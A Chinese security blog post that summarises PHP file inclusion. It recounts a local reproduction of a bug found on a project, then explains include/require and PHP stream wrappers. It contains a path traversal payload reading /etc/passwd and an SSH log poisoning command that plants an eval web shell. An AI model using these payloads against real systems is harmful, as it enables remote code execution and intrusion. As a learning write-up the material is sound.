主页 > 网络知识 > PHP文件包含小总结

PHP文件包含小总结

    最近在某个项目上天天挖洞,每天不是什么信息泄露就是xss,没有一个能getshell,愁的不行,感觉头顶都凉飕飕了。不知是早上出门时,没注意踩到狗屎,还是今天运气好,发现一处竟然有文件包含漏洞,百度一波getshell姿势,逐一尝试后,发现可以利用日志getshell。这里本地模拟一下当时情况,复现一下。同时就让我这个小菜鸡总结一下getshell方式,以便之后遇到文件包含漏洞更快的去拿shell。

1.1.本地复现

当时发现url中有一个参数file=/home/task.php,灵机一动,把/home/task.php替换成了../../../../../../etc/passwd

 

PHP文件包含小总结

 

 

 

接着发送带有php代码的请求,先phpinfo试一试。

 

 

PHP文件包含小总结

 

 

 

接着就是包含日志了,感觉马上就要起飞了,结果很突然,no such file了,又换了几个路径,还是这样。

 

 

PHP文件包含小总结

 

 

 

没办法只是试试包含一下配置文件,结果....一样。

 

 

PHP文件包含小总结

 

 

 

这可咋办,眼瞅着就要getshell了,没路径啊,突然想到还有一个ssh log可以尝试包含一下,立刻来了精神头,噼里啪啦一顿敲,食指放在回车键上,犹豫不决,豁出去了!只见我眼睛一闭,重重按下回车,当我慢慢睁开眼时,欣喜若狂,终于没有no such file 了

 

 

PHP文件包含小总结

 

 

 

接下来就很简单了直接ssh连接:

 

ssh '<?=eval($_REQUEST[1])?>'@remotehost

    7. 包含ssh log文件,然后执行下命令:id。成功!

 

PHP文件包含小总结

 

 

PHP文件包含小总结

 

2.文件包含小知识

2.1.包含函数

1、PHP共有4个与文件包含相关的函数:

include

require

include_once

require_once

2、Include与include_once的区别:

(1)Include:会将指定的文件载入并执行里面的程序;重复引用的情况下加载多次。

例如:

 

PHP文件包含小总结

 

这里include两次1.php文件,所以就会包含1.php两次。

(2)Include_once:会将指定的文件载入并执行里面的程序;此行为和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。

例如:

 

PHP文件包含小总结

 

这里include_once了两次1.php文件,但只会包含1.php一次。

(3)require和requireonce的用途与上面两个一样,但区别就是require和requireonce会加载页面最开始执行。Include和include_once会按代码顺序执行。

2.2.支持的协议和封装协议

File:// ------访问本地文件系统

http(s):// ------访问HTTP(s)网址

ftp:// ------访问FTP(s) URLs

php:// ------访问各个输入/输出流(I/O streams)

zlib:// ------压缩流

data:// ------数据(RFC 2397)

glob:// ------查找匹配的文件路径模式

phar:// ------PHP归档

ssh2:// ------Secure Shell 2

rar:// ------RAR

ogg:// ------音频流

expect:// ------处理交互式的流

2.3.常用伪协议讲解:

1. file://

(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。

(2)例如:file:///etc/passwd、file://key.txt

2. php://

(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。

(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。

 

PHP文件包含小总结

 

3、phar://

(1)phar://数据流包装器自PHP5.3.0起开始有效

(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt

phar://1.zip/phpinfo.txt

2.4.伪协议利用方式小总结:
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!